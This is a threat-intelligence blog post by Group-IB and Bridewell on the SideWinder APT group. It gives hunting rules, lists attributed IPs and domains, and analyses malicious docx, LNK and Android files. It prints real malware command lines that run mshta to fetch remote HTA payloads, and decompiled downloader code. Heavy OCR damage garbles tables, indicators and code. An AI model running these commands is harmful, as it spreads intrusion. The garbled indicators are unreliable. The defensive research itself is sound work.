https://www.group-ib.com /blog/hunting-sidewinder /

® GROUP-IB

Nikita Rostovcev
y
—2.;7 APAC Technical Head - ASM, Tl & DRP

The distinctive rattle of APT
SideWinder

Bridewell and Group-IB expose the APT’s unknown infrastructure

May 17,2023 - 14 min to read - Advanced Persistent Threats

Page 1 of 29



https://www.group-ib.com/blog/
https://www.group-ib.com/author/nikita-rostovtsev/
https://www.group-ib.com/
https://www.group-ib.com/
javascript:;
javascript:;

https://www.group-ib.com /blog/hunting-sidewinder /

APT SideWinder  Threat Hunting Threat Intelligence

Introduction

In February 2023, Group-IB’s Threat Intelligence team released a technical report about previously
unknown phishing attacks conducted by the APT group SideWinder:

Old Snake, New Skin: Analysis of SideWinder APT activity between June and November 2021. As
always, Group-IB customers and partners were the first to get access to the report through the
interface of Group-IB’sThreat Intelligence platform.

One of them was Bridewell, a leading cyber security services company based in the UK and a long-
standing MSSP partner of Group-IB in Europe. Our colleagues from Bridewell have been using
Group-IB’s Threat Intelligence, Digital Risk Protection, and Attack Surface Management solutions to
support the cybersecurity services they offer to its customers.

Bridewell’'s in-house threat intelligence experts read Group-IB’s report on SideWinder and came up
with their own significant findings about SideWinder. The Bridewell team shared this information
with our Threat Intelligence unit, which led to this joint blog post. By bringing together the research
capabilities of both companies, we developed and described new hunting methods so that we
could track one of the most prolific APT groups more efficiently.
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Group-IB and Bridewell’s joint research describes how to use publicly available tools to monitor
known SideWinder infrastructure and reveals new malicious servers that could be used in future
attacks.

This blog post provides details of previously unknown infrastructure belonging to APT
SideWinder. In addition, Group-IB and Bridewell researchers share hunting rules for Shodan to
help cybersecurity specialists, threat hunters, and corporate cybersecurity teams pre-empt and
prevent SideWinder attacks.

Join the Cybercrime Fighters Club

The global fight against cybercrime is a collaborative
effort, and that’s why we’re looking to partner with
industry peers to research emerging threats and publish
joint findings on our blog. If you’ve discovered a
breakthrough into a particular threat actor or a
vulnerability in a piece of software, let us know at
blog@group-ib.com, and we can mobilize all our necessary
resources to dive deeper into the issue. All contributions
will be given appropriate credit along with the full backing
of our social media team on Group-IB’s Threat Intelligence Twitter
page, Where we regularly share our latest findings into
threat actors’ TTPs and infrastructure, along with our
other social media accounts.
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@ GROUP-IB 3. Bridewell

Threat Actor Profile

APT SideWinder

Period of activity: Top 5 targeted industries:
2012 - PRESENT Military

Government
Other names:
Rattlesnake, Hardcore Nationalist, )
HN2, T-APT-04, APT-C-17, RAZOR TIGER, T Healthcare
APT-Q-39, BabyElephant, GroupAZ21. Crypto

Education

Most frequently targeted countries:
l¢ Pakistan ¥ China [&] SriLanka &= Nepal & Afghanistan Bangladesh

B Myanmar B> Philippines E Qatar @ Singapore

Key findings

SideWinder’s servers can be detected using several hunting rules described in this blog post.

Group-IB and Bridewell detected 55 previously unknown IP addresses that SideWinder could
use in future attacks.

The identified phishing domains mimic various organizations in the news, government,
telecommunications, and financial sectors.

SideWinder uses the identified servers as A records for domains that mimic government
organizations in Pakistan, China, and India. These domains are listed in the “
Who are SideWinder’s potential targets?” section of this blog post.

We discovered an APK sample for Android devices. The sample is similar to one mentioned in
Group-IB’s blog post SideWinder.AntiBot.Script.
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Tracking SideWinder’s infrastructure

Description of hunting rules

For several years, SideWinder has been using a unique method of deploying and maintaining its
malicious servers. The APT’s infrastructure is distinct in that servers always return a response with
the 404 status code and the Not Found content when the root page is accessed.

Scan results for URL: http://scale.miumt.tech/

Source: web

Screenshot

404 Not Found

nginx

Malicious content is returned only if the victim follows a special link received through either phishing
emails or phishing posts on social media (for example in dedicated Facebook groups). SideWinder’s
network infrastructure can be tracked using the search engines Shodan and Censys if unique
parameters are set correctly.

Our research focuses on 119 IP addresses, which can be divided into two categories: the first one
comprises the APT’s known IP addresses, while the second category covers the group’s IP
addresses that have not been publicly revealed before. A table with all network indicators can be

found at the end of this blog post.
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Shodan hunting rules

SideWinder’s infrastructure can be tracked by using the hunting rules described below in Shodan.
We describe infrastructure links based on these queries.

'. SHODAN Explore Downloads Pricing 2 ksl jarm:"3fd3fd0003fd3fd21c3fd3fd3fd3fd703dc 1bf20eb9604decefeadd? n

i View Report & Download Results L Historical Trend [0 View on Mag

Product Spotlight: Free, Fast IP Lookups for Open Ports and Vulnerabilities using InternetDB

Using these hunting rules, Group-IB and Bridewell specialists discovered 119 IP addresses that
they attributed to SideWinder, 64 of which were either known to us or mentioned in public
descriptions of the group’s attacks. The other 55 IP addresses belonging to SideWinder have
not been described before.

Known IP addresses

Based on the data obtained using the hunting rules, the following IP addresses and domains were
identified. These are publicly known addresses used by SideWinder and are mentioned here to
show that the hunting rules used are accurate.

Hostname

paf-govt[.]net
bluedoor|]click

149.154.152.37
151.236.21.16 kito.countpro[.]info
158.255.211.188 mofs-gov|.Jorg
161.129.64.98 msoft-updt[.]net
172.93.162.121 paf-govt[.]Jinfo

172.93.189.46 hread[.]live

172.96.189.243  proll]Jinfo
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18511790 144 artral Ttach

Previously unknown IP addresses

This section lists the IP addresses and domains that were unknown at the time of our analysis. We
have attributed them with high confidence to SideWinder. We believe that the threat actors could
potentially use this infrastructure in future attacks.

104.128.189.242 cpec[lsite

sindhpolice-govpk[.Jorg
138.68.160.176 sbp-pk[.Jorg
helpdesk-govl.Jinfo

149.154.154.216 shortney[.Jorg

149.154.154.65  storeappl.]site

151.236.14.56 reth.cvix[.]Jcc

151.236.21.70 ptcl-gov[.Jorg

insert.roteh[]site

151.236.25.121 . )
active.roteh[.]site

151.236.5.250 ailyun[.]Jlive

All the listed IP addresses were found using hunting rules that we created and have provided in the
“Shodan hunting rules” section. Furthermore, two domains from this list (storeappl.lsite and
ridlay[.]live) are linked to SideWinder’s known infrastructure through the use of identical
registration data in WHOIS records, as shown by Group-IB’s Threat Intelligence platform:
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¢ ridlay.live

ridlay.live

clienttransferprohibited https://icann.org
/epp#clienttransferprohibited

pdr Itd d/b/a publicdomainregistrycom
2022-06-04 09:08:20

2023-06-04 09

2022-08-04 02

john wake

johnwakefield231@gmail.com

nsl.impreza.host

ns2.impreza.host
3.impreza.host

ns4.impreza.host

nz

bay of plenty

christchruch

3th street auckland
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@ GROUP-IB Bridewell

APT SideWinder’s newly discovered infrastructure as shown
by Group-IB’s Graph Network Analysis Tool*
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ssL /
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ssL
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- et
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par td dib/a publicdomainreg|
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12013775952

awrah.live

»
- .
not available from registry // o

storeapp.site 208.91.197.91 ssL

7/

2 PN

Connections between fia-gov|.Jcom, hread[]live, cplix[Jlive, govpk-mail[Jorg,
appsrvl.]live, ridlay[.Jlive, bismillah[Jtech, and storeappl.]site domains

The screenshot shows that the domains fia-gov|[.Jcom, hread[.]live, cplix[.]live, govpk-mail[.Jorg,
appsrvl.llive, ridlay[.]live, bismillah[.]tech, and storeapp[.]site are interrelated — they use of the same
values in WHOIS records (13th street auckland) and similar registration data.

Related files

Analysis of SideWinder’'s network infrastructure revealed files related to it. The files are listed in the
table below.
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Malware
type

File name

Malici _
LKGOD.docx doac'c'n(::it e4a8e4673ebfba0cea2d9755535bc93896b44183  hxxs://paknavyl.
u

Malici
Product.docx doac'j'rz:;t 53a1b84d67b8be077f6d1dd244159262f7d1a0f9  hxxps://cstc-spa

Leakage of

Sensitive Malicious
Data on Dark document
Web.docx

59f1d4657244353a156ef8899b817404fd7fedad hxxps://mtss[.]bc

GUIDELINES

FOR

JOURNAL -

2023 Malicious
PAKISTAN document

NIAN/V \NIAD

fcc2d69a02f091593bc4f0b7d4f3cb5c90b4b011 hxxs://pnwcl.]bo

All the files in the table above are part of the first attack stage, which is intended for downloading

the payload (the next stage). At the time of analysis, the payload was not obtained. Below we look at
the files listed in the table in more detail.

LKGOD.docx

The malicious file LKGOD.docx was discovered in March 2023 by a Twitter user with the handle
@StopMalvertisin.

The file was uploaded to VirusTotal for the first time on March 21, 2023 at 06:46:34 UTC from
Pakistan (the city of Islamabad, source: the Web).

File contents (decoy):
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EmailiSocial MadiaBrowssriothnt Anns

In /word/_rels/document.xml.rels, the malicious document contains a link to download a template:
hxxs://paknavy|.]Jdefpak[.]Jorg/5973/1/8665/2/0/0/0/m/files-f8fd19ec/file.rtf

Product.docx

The malicious file Product.docx was also discovered in March 2023 by the Twitter user
@StopMalvertisin.

The file was uploaded to VirusTotal on March 10, 2023 at 05:14:05 UTC from Pakistan (the city of
Karachi, source: the Web)

File contents (decoy):
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In /word/_rels/document.xml.rels, the malicious document contains a link to download a template:
hxxps://cstc-spares-vip-163[.Jdowmload[.Jnet/14668/1/1228/2/0/0/0/m/files-403a1120/file.rtf
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Leakage of Sensitive Data on Dark Web.docx

The malicious file Leakage of Sensitive Data on Dark Web.docx was also discovered by
@StopMalvertisin.

The file was uploaded to VirusTotal on March 10, 2023 at 05:21:10 UTC from Pakistan (the city of
Karachi, source: the Web).

File contents (decoy):

It is worth noting that the contents of the document are identical to those of LKGOD.docx.
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In /word/_rels/document.xml.rels, the malicious document contains a link to download a template:
hxxps://mtss[.]Jbol-south[.Jorg/5974/1/8682/2/0/0/0/m/files-b2dffOca/file.rtf

<?xml version="1.8" encoding="UTF-8" standalone="yes"?»
<Relationships xmlns="http://schemas.openxmlformats.org/package/2886/relationships"><Relationship Id="rId3"
Type="http://schemas.openxmlformats.org/officeDocument/28086/relationships/webSettings” Target="webSettings.xml™
»<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2806/relationships/theme™ Target="theme/
themel.xml”/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2886/relationships/
settings” Target="settings.xml"”/»><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2086/
relationships/styles” Target="styles.xml"/»<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/
officeDocument/28086/relationships/fontTable” Target="fontTable.xml”/><Relationship Id="rId5" Type="http://schemas.
openxmlformats.org/officeDocument/2806/relationships/image” Target="media/image2.PNG"/><Relationship Id="rId4"
Type="http://schemas.openxmlformats.org/officeDocument/20806/relationships/image” Target="media/imagel.PNG"
»<Relationship Id="fid872" Type="http://schemas.openxmlformats.org/officeDocument/28086/relationships/ole0bject”
Tanget=“https:!!mtss.bol—south.oﬂgIS9?411!8682!2!9!618!m!+iles—bzdffecaffile.rtﬂ” TargetMode="External”/><Relationship
Id="rId842" Type="http://schemas.openxmlformats.org/officeDocument/2886/relationships/image” Target="media/image2.jpg"”
</Relationships>

GUIDELINES FOR JOURNAL - 2023 PAKISTAN NAVY WAR COLLEGE (PNWC).docx

The malicious file GUIDELINES FOR JOURNAL - 2023 PAKISTAN NAVY WAR COLLEGE
(PNWC).docx was discovered by the Twitter user @RedDrip7Z.

The file was uploaded to VirusTotal for the first time on November 30, 2022 at 10:17:20 UTC from the
UK (city unknown, source: the Web).

File contents (decoy):
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GUIDELINES FOR BEACON JOURNAL - 2023 PAKISTAN NAVY WAR
COLLEGE (PNWC)

Pakistan Navy War College (PNWC) invites manuscripts for its journal (Beacon-23). The journal is
accredited with HEC in *¥' category. Research articles shall be accepted in areas related to International

Relations, Strategic Studies, International and Regional Security, South Asian Studies, Maritime Security,
Indian and Pacific Ocean studies and Hybrid Warfare.

Submission Deadlines: Research scholars who wish to contribute original, unpublished articles to the
journal may submit these by first week of January, 2023. The articles may be written individually or co-
authored.

Article word limit: The manuscripts should normally be 5000 (+_ 10%) words excluding abstract, author’s
Intraduction, fotnotes and bibliography.

Format: All article submissions must include an abstract of about 200-250 words with 5-7 keywords and
footnotes. The first page of the manuscript should contain the title of the paper, the name(s) of author(s),
abstract and footnote giving introduction and current affiliation of the author(s). A 'Disclaimer’ must be
made at (footnete 2) and when applicable.

Plagiarism: Similarity index (Turnitin Report) must not exceed 18%.

Editorial and Peer Review Process: All submissions are screened using "Similarity Index” detection
software. Articles shortlisted by the Editorial Board will undergo double-blind peer review. During this
stage, articles may not be approved for publication by the referees, However, they are found suitable for
the Journal, reviewers may recommend either major or minor changes in the manuscript. The revision
process may take multiple rounds, Peer Review timelines vary depending on Reviewer availability, area of
expertise and responsiveness.

Citation Format: Footnotes and Bibliography must comply with Chicago Manual of Style
17th Edition, Some examples for Feotnotes are cited belew for guidance:

Book: Peter W.Rose, Class in Archaic Greece (Cambridge: Cambridge University
Press,2012), 95.

Chapter of Book: John D.Kelly, "Seeing Red: Mao Fetishism, Pax Americana, and the Moral
Economy of War ," in Anthropology and Global Counterinsurgency, ed
John D. Kelly et al. (Chicago: University of Chicago Press,2010), 77.

Journal Article: Joshua I. Weinstein, "The Market in Plato's Republic” Classical Philology
104 (2009): 440

Newspaper/Magazine Article: Daniel Mendelsohn, "But Enough about Me,” New York Times,
January 25, 2021, 68.

Website: Helen Regan, Nikhil Kumar and Sophia Saifi, "Pakistan Shot Dewn Two
Indian Jets Inside lts Airspace,” CNN.com, Accessed February 28, 2021,
https://edition.cnn.com/2021/02/28/india-pakistan- strikes-escalation-
intl/Index.html.

In /word/_rels/document.xml.rels, the malicious document contains a link to download a template:

Miscellaneous:

1 UK English Spellings should be used. Dates must be written as 1January 2023.
2 Acronyms should be written within brackets after writing words in full on first use.
3 Images/ Maps resolution must be of 300-600dpi.

Postal Address: Soft Copy of article (Word Document) as well as 'Certificate or Originality and Publishing
Rights' must be signed, scanned and emailed to Point of Contact (ds.research3 @pnwe.paknavy.2ov.pk).

NOTE: Author(s) as well as members of Editorial Board and Advisory Board would receive a free- copy
of the Journal.

hxxs://pnwcl[.]Jbol-north[.Jcom/5808/1/3686/2/0/0/0/m/files-a2e589d2/file.rtf

“rIda” Type
"External

/5

The malicious file 4
@Axel_F5:

This LNK file is contained in the archive A&
distributed via email:

FhexT11822H fe THERHRAFEH.zip, which was
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From P& <sppmdw@mail. tsinghu. edu.an.aliyu.co= § Reply Reply Al Forward Archive Junk Delete || More
To @ 22.11.2022, 7:41
Subject AHHETRSERRT 11 H22 Hi TIFsHRESAE

AHEBRFERAT11A 2 BET{EEHEAERER]

LREERHRBIENTHREEKE |, REERFEEsE, NERSHRERRET BET , SHErRERE | RIE R
B SEET RSB F e sthn | SR TIEESEI T -

1. EIEECRERREKABER L | TSR  BARMEREFEENE . STRFNL. SRR BREERNRE
XA SRS , FRERFDAK | BERFEFIHESAREK ; Et#RTIFNERIIR,. JDhe  ENEERR
e, & EER,

2. FRELRHRSERTH , SHAERBABIETHIZH S AR (WEtHER ) | BRITEEEHRIOEERT , B
R ESRMa— RN |, RERR SHEERTRE,

3. SATEEHT IR EANE, HHEBEEEIREEAEESN , Bl PEEEERS ( LR ) . SCYMEMERIE
RS, RARSNE SR IEMERAG, BANEESEEAE L LR |, ERCR/ AERRLG =L R
ERHEBIEN G , FKEEAERZSREEINIG | BIEARE, 184 FaEARSER,

4. 11A22HZESH , IR AREN EANR , S8R EABEE FaNER, S,

5. FHHSEEAKIERS  RBARIETARERHIREE, R |, AATUFRREOSE.

6. FEEAFEEN TS EERSARESEEESN ( B B2z2HDER A —F—18 ) , BENERTEIETSA: | Bl
%, BN TREFREZHEEYTRN, 81182288 , #inSEl 4/ e riEsiBiE R,

EEREERR THRFEEH TS ESLF Bk, BARESFOUERFIL. Hilk, CEEHEmRE.,
AL ERIE AR WA LREKRAERE, IBIIEFART2ERRE |

BERFNHEES R

2022 F11H22H

v ] 1attachment: AESEET11 EOERT FEEHHESEEAp 1,2KE & Save v

|| AEFRETUANBETF=HEENEdp 1,2KE

Email subject: A &R X T11H 228 TELTHBEAZERIBE AN (Notice of the School of Public
Administration on the adjustment of work arrangements from November 22)

Sender: [&% (Chen Lei) sppmdw@mail[.Jtsinghu[.]Jedu[.Jen[ ]aliyu[.Jco

The archive A E¥ Rk T118 228 TETHEAREMIESN.zip was uploaded to VirusTotal for the first
time on November 24, 2022 at 13:43:55 UTC from China (the city of Beijing, source: the Web).

Launching the LNK file executes the following command:
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MIMEType
TargetFileDOSName
LocalBasePath

Iconindex
WorkingDirectory
RunWindow
CommandLineArguments

AccessDate
RelativePath
CreateDate
TargetFileSize
IconFileName
Flags
FileTypeExtension
ModifyDate
HotKey

DriveType
FileType
DriveSerialNumber
FileAttributes

https://www.group-ib.com /blog/hunting-sidewinder /

application/octet-stream

cmd.exe
C:\Windows\System32\cmd.exe

(none)

C:\Windows\System32

Show Minimized No Activate
C:\windows\System32\cmd.exe /q /c copy /B /Y C:\Windows\System32\m7ht?.??e %programdata®%\jkli.exe & start /min %programdata%\jkli.exe https:/mailtsinghua.sinacn.co/3679/1
/55554/2/0/0/0/m/files-94c98cfb/hta
2022:11:14 05:53:04+00:00
AAAWindows\System32\cmd.exe
2021:04:09 13:42:41+00:00

289792
%SystemRoot%\System32\SHELL32.dll
IDList, Linkinfo, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, TargetMetadata
Ink

2021:04:09 13:42:41+00:00

(none)

Fixed Disk

LNK

BABB-B4A7A

Archive

The LNK file creates a copy of %Windows%\System32\mshta.exe with the name
%ProgramData%)\jkli.exe and launches jkli.exe (mshta.exe) to download and execute an HTA file,
which is located at hxxps://mailtsinghual.]sinacn[.Jco/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta.

We came across a similar archive earlier, virus student Data Base 8 (1).zip, which was uploaded to
VirusTotal on October 16, 2022 at 17:55:40 UTC from Sweden (the city of Stockholm, source: the
Web). Like in the previous case, the target of SideWinder's attack may have been Tsinghua
University, one of the leading universities in China (tsinghua.edu.cn).

It is worth noting that the LNK file A& fxxT11 8220 e TELHRAZEMIEAN.docx.Ink was added to
the archive A&t xT11 8 22 e TELTHRARHKIBEAN.zip on November 22, 2022, while the LNK file
student Data Base 8.pdfInk was added to the archive virus student Data Base 8 (1).zip on March 3,
2022.
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e EFBR AT 11 A22B R T e BHES il zip X

50 4B 03 04 14 00 0O
65 70 F4 01 00 00 1F
AC E7 AE A1 E5 AD A6
31 31 E6 9C 88 32
aC AE E6
E9 9A 9F
00 0o 0o
FE 01 45
FE 01 50
51 17 24
cs5 95
37 7F
30 CF
BC EE
G5 5F
67 E9
-7 EE
OF
1B
4C
58
BA

Template Results - ZIP.bt &
Name

~ struct ZIPFILERECORD record[0]
char frSignature[4]
ushort friersion
ushort frFlags
enum COMPTYPE frCompression
DOSTIME frFileTime
DOSDATE frFileDate
uint frCrc
uint friCompressedSize
uint frncompressedSize
ushort frrileNamelength
ushort frExtraFieldLength
char frFileMame[67]

A similar LNK file, student Data Base 8.pdfink, launches mshta.exe and downloads and executes an

HTA file located at

hxxps://maill.Jtsinghual.]institute/3206/1/25395/2/0/1/1863616521/3DIMOLGMztTur2KVczxFjB36rLfwr

08
04
E9
E6
8E
A5
00
4E
4D
07
5D
81
82
EA
34
B5
61
30
2B
70
16
B4

[o}:]
oo
99
97

00
00
A2
A5
E8
64
01
2c
23
91
32
17
F4
57
cB
94
6
D5
28
CA
cs
26
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500
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% Template Results - ZIP.bt &
Name
~ struct ZIPFILERECORD record[2]

char frSignature[4]
ushort friersion
ushort frFlags
enum COMPTYPE frCompression
DOSTIME frFileTime
DOSDATE frFileDate
uint frCrc
uint friCompressedSize
uint frUncompressedSize
ushort frrileNamelength
ushort frExtraFieldLength
char frFileMame[27]

5b71f8ef/hta (the domain: maill.]Jtsinghual.]institute).

MR TRaewT SRS 76 Hfiiaad, 209%.docx.Ink

...~wnotificatio
n003. tmpU%PK. ...

Data Base 8&.pdf,
InkL

V.
R°y..Wind
1%30wH

student Data Base 8.pdf.Ink
P4

20

2043

COMP_STORED (0}

12:33:58

03/03/2022

ACID1932h

2392

2392

27

0

student Data Base 8.pdf.Ink

The malicious file ¥ 7iRae RIS 37ea3 Hfided, 008.docx.Ink was discovered by a Twitter user
with the handle @jaydinbas.

The LNK R1f§% 1iRadh! SRS 31eqa= g, 208%.docx.Ink is contained in an archive (whose original
name is unknown) that was uploaded to VirusTotal on November 24, 2022 at 10:15:01 UTC from

Nepal (the city of Kathmandu, source: Community).

Launching the LNK executes the following command:
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MIMEType
TargetFileDOSName
LocalBasePath
Iconindex
‘WorkingDirectory
RunWindow

CommandLineArguments

AccessDate
RelativePath
CreateDate
TargetFileSize
IconFileName
Flags
FileTypeExtension
ModifyDate
HotKey

DriveType
FileType
DriveSerialNumber

FileAttributes

https://www.group-ib.com /blog/hunting-sidewinder /

application/octet-stream

cmd.exe

C:Awindows\System32\cmd.exe

(none)

C:\Windows\System32

Show Minimized No Activate

c:\windows\System32\cmd.exe /q /c copy /B /Y C:\Windows\System32\m?ht?.7?e %programdata%\jkli.exe & start /min %programdata%\jkli.exe https://mailv.mofs-gov.org/3669/1/24459
/2/0/1/1850451727/6J0039NpphBz5V3X0KZ{faAGJH3RNAJULVBQptc] /files-94603e7{/hta
2022:11:14 05:53:04+00:00

A A AWindows\System32\cmd.exe

2021:04:09 13:42:41+00:00

289792

%SystemRoot%\System32\SHELL32.dll

IDList, Linkinfo, RelativePath, WorkingDir, CommandArgs, lconFile, Unicode, TargetMetadata
Ink

2021:04:09 13:42:471+00:00

(none)

Fixed Disk

LNK

BABB-BATA

Archive

The LNK creates a copy of %Windows%\System32\mshta.exe with the name

%ProgramData%)\jkli.exe and launches jkli.exe (mshta.exe) to download and execute an HTA file

located at hxxps://mailv[.]mofs-

gov[.]Jorg:443/3669/1/24459/2/0/1/1850451727/6 J0039NpphBz5V3XOKZffOAGJH3RNAJULVBQptcl
94603e7f/hta. This LNK file is similar to the LNK file A &% X T11 8 228 i T/ELTHRAZ KIS
40.docx.Ink mentioned above.

The LNK R1f§% 1Radh! SRS 31eqa dfaad, 208%.docx.Ink was added to the archive on November 23,

2022.
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TtebT7101bdd30abc20be556a441a802acf2T7f32a06ef566226be0d88098f2ebe x

50 4B 03 04 14 00 00 08 08 00 44 3E 77 55 4A 28 D=wlJ(
7B 42 34 02 00 00 77 04 00 0O &7 00 24 00 EO A4 {B4...w...I.%5.3m
BO ED A4 BE EO A4 B7 EO AS 8D EO0 A4 9F E0 A5 8D °aU¥an-3¥. 3omyay.
E0O A4 BO E0O A4 BF E0 A4 AF 20 EO A4 97 ED A5 8C am°am;an  Ao—a¥E
EO A4 BO EO A4 B5 EOD A4 95 EO A4 BE 20 EO A4 B6 am°3opan-an¥ 3ot
E0O A4 AF EO A5 BB EO A4 9C EO A4 AB E0 A4 BE 20 AT 3¥«3Dpal ali¥

E0O A4 85 EO A4 A7 EDO AS 8D EO A4 AF E0 A4 AF E0 aD.amBay¥.aom an a
Ad AB 20 EO A4 AA EO AS 8D EO A4 BO EO A4 A4 ED ©m~ 3ma3¥.am° a3nng
A4 BF EO0 A4 B5 ED A5 87 E0 A4 A6 EO A4 AB 2C 20 ©m;appa¥iam an’,

E0O A5 AB ED AS A6 ED AS AD EO AS AF 2E 64 6F 63 a¥ a¥la¥-ay .doc
78 2E 6C 6E 6B 0A 00 20 00 0O 0O OO0 OO0 01 00 18 x.lnk..

00 27 C2 AC 35 10 FF D& 01 26 C2 AC 35 10 FF D& .'A-5.y@.8A-5.y0
01 1A €2 AC 35 10 FF DB 01 95 53 4D 4F 13 51 14 L .A=5.§@.-SM0.Q.
3D A3 84 8F C4 45 8D 44 30 98 50 16 35 31 A4 D3 =£,.AE.DO"P.51m0
4E C7 B6 B4 9B 4A 09 08 DA 58 6D 53 50 32 9B 49 NC¥ »J..UXmSP2:I
3B 85 4A 67 |06 99 4A 81|15 3B 63 F8 |03 C6 BE 71 ;.Jg.™)..;ce.kE . q
E3 1F CO 8D 89 CA 1F 30 31 C6 C4 2E 5D 9B A% 4B 3.A.%E.01EA.]: K
17 B2 EO BC |97 B6 64 OA 8B 3A 2F F7 |CE 7B E7 DE .2a%%d.«:/=I{cp
7B EE 79 EF CD E4 00 28 A3 17 20 9E 23 E9 B1 FO {iyild.(f£. ##é:3
OF C3 08 72 A2 3B 07 89|85 FO 77 E5|65 EB B7 F1 .A.rc:.%.dwaeé

Template Results - ZIP.bt &

MName Value
“ struct ZIPFILERECORD record[0] an"an3san a¥ fana¥BEan"an ;a0 aoa¥ P an"aHpaans aHan a¥EEan
char friignature[4] P
ushort friersion 20
ushort frilags 2043
enum COMPTYPE frCompression COMP_DEFLATE (8)
DOSTIME frFileTime 07:50:08
DOSDATE friileDate 11/23/2022
wint frire 42762844R
uint frCompressedSize 564
uint frUncompressedSize 1143
ushort friileMamelength 135
ushort frExtraFieldLength 36

226617

Analysis of the group’s infrastructure by Bridewell specialists revealed a malicious APK file, 226617,
which was uploaded to VirusTotal on March 23, 2023 at 09:34:02 UTC from Sri Lanka (the city of
Colombo, source: the Web). The Group-IB team analyzed the sample.

The APK file 226617 is an Android application disguised as the game Ludo.
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The application is a downloader type of malware that downloads the encrypted payload at
hxxps://games|[.]srv-
appl.]co/669/1/1970/2/0/0/1764305594/2X1R9Tw7c5eSvLpCCwnlOX7CO0zhfHLAG6RJzJOADS/file
82dfcl44/appxed. The payload is a DEX file, launched using the class DexClassLoader.

The link is Base64-encoded and encrypted using the AES-256 ECB algorithm with the key {7e 51 73
44 54 49 ac al fe 99 25 3 2529 58 e3 5a 45 7c cd 89 d4 87 78 34 3f b2 df c2 60 2c 21} (32 bytes).

private cadaafflc s) {
s1;
try {
dataInputStreams ' (this.util.bedb(s)));
int v = dataInputStreame.readInt(
byte[] arr_b = new byte[v];
dataInputstreama.read({arr_b);
secretkeyspece = new (arr_b, &, v
this.util.setAESKey (secretkeysSpeca);
byte[] arr_bl = new byte[dataInputStreamg.avallable(}];
dataInputstreame.readrully{arr_bil};
51 = new (this.util.decryptData(secretkeyspece, arr_bl});
1
catch( excepticne) {
exceptiond.printStackTrace();
51 = null;
b

Logger.e{new
return s1;

Recipe [} + O] =

Fo 8C 61 C1 D& BB 35
AES Decrypt 16 ; EC A 43 8E 21 12 62 CA 63
27 ED A7 DC 3B 24 AB
F3 BE 77 B3 71 48 &9

7e 51 73 44 54 49 ac al fe 9.

ECB Tr Raw Bytes 4= LF

Output AR0®

https://games.srv-
app.co/669/1/1970/2/8/8/17643085594/2X1R9Tw LpCCwnleX7CBzhfHLABRIZIGADS/files
-82dfcl44/appxed

In addition, the malware has an autostart functionality when the targeted mobile device loads. It is
worth noting that the application partially matches and has similar functionalities to the code of the
application Secure VPN_3.9_apkcombo.com.apk (SHA-1:
cbeffe7fcd87f643aebc427e127dd7b00865eafd), which was discovered by Group-IB Threat
Intelligence experts in as early as 2021.
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Experts at Qi An Xin have described SideWinder’'s Android applications with similar code. Their
analysis also mentions the application Secure VPN_3.9_apkcombo.com.apk. Moreover, previous
samples featured a similar domain, register[.]srvappl.]Jco (games|.]srv-appl[.]Jco in our case).

The two applications, 226617.apk (SHA-1: 779451281e005a9c050¢8720104f85b3721ffdf4) and
Secure VPN_3.9_apkcombo.com.apk (SHA-1: c6effe7fcd87f643aebc427e¢127dd7b00865eafd) are

compared below.

The matching apk_name value “Almighty Allah” in the applications’ string resources

226617.apk (SHA-1: 779451281e005a9c050c8720104185b3721ffdf4)

Checking root privileges on a mobile device:

private static boolean z2a94377() {
if(Build.TAGS != null &% (Build.TAGS.contains("test-keys"))
return true;

try
for(int v = @; true; ++v) {
if(v »>= 1) {
return hf42b7b1.b64bel6la7();
}

boolean z = new File(new String[]{"/system/app/Superuser.apk”, "/sbin/su", "/system/bin/su", "/system/xbin/su",

local/bin/su®, "/system/sd/xbin/su™, "/system/bin/failsafe/su”, "/data/local/su”, "/su/bin/su”}[v]).exists();
if(z) {
return true;

catch(Exception unused_ex) {
return hf42b7bl.b64bel61a7();

226617apk (SHA-1: 779451281e005a9c050¢c8720104185b3721ffdf4)

Downloading the DEX file using a URL:
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private void jo8458de() {
new Thread( () -> {
Logger.e(new String[]{"serverRequest()"});
if(!lybob96ec.getInstance( ) .cotRunning(zb319.getInstance().getCotFex())) {
try
if(!this.util.isNetworkConnected(ghis)) {

A DEX file being loaded into device memory:

prdvate void h78ad1d(File file@®) {
Logger.e(new String[]{"loadFromDisk"});
Logger.E(new String[]{"lad"});
try
if(!file@.exists() && !fileB.mkdigs({)) {

List of permissions checked:

public zb319() {

this._objects = new HashMap();

this.future = new HashMap();

this.objectLinkedHashMap = new LinkedHashMap();

this.eventBusses = new ArraylList();

try

this.allPerms = new JSONObject("{\n \"ACCESS NETWORK_ STATE\": \"@\",\n \"ACCESS WIFI STATE\": \"1\",\n

"BIND_ACCESSIBILITY SERVICE\": \"2\",\n \"BIND_DEVICE_ADMIN\": \"4\",\n \"BIND_VPN_SERVICE\": \"8\",\n \"BLUETOOTH\":
"16\",\n \"BODY_SENSORS\": \"32\",\n \"BROADCAST_SMS\": \"64\",\n \"CALL_PHONE\": \"128\",\n \"CAMERA\": \"256\",\n
"CAPTURE_AUDIO OUTPUT\": \"512\",\n \"CHANGE_NETWORK_STATE\": \"1824\",\n \"CHANGE_WIFI_STATE\": \"2@48\",\n
"CLEAR_APP_CACHE\": \"4896\",\n \"GET_ACCOUNTS\™: %\"8192\",\n \"READ_CALL_LOG\": \"16384\",\n \"READ_CONTACTS\":

"SEND_SMS\": \"524288\",\n \"REQUEST_INSTALL_PACKAGES\": \"1048576\",\n \"REQUEST_IGNORE_BATTERY_ OPTIMIZATIONSNK™: >
"2897152\",\n  \"SYSTEM_ALERT_WINDOW\™: \"4194384\",\n \"WAKE_LOCK\": \"8388688\",\n \"WRITE_EXTERNAL_ STORAGE\"S
"16777216\",\n  \"READ_EXTERNAL_STORAGE\": \"33554432\",\n \"RECORD_AUDIO\": \"67188864\",\n \"INTERNET\": \"134217728\",

\
\
\
\
\"32768\",\n \"READ_CALENDAR\": \"65536\",\n \"READ_PHONE_STATE\": \"131872\",\n \"READ_SMS\": \"262144\",\n
\
\
\
\n \"ACCESS_FINE_LOCATION\": \"268435456\"\n}");

catch(JSONException jSONExceptione@
jSONException®.printStackTrace();

226617apk (SHA-1: 779451281e005a9c050¢c8720104185b3721ffdf4)

Saving the file downloaded from the command-and-control (C2) server as
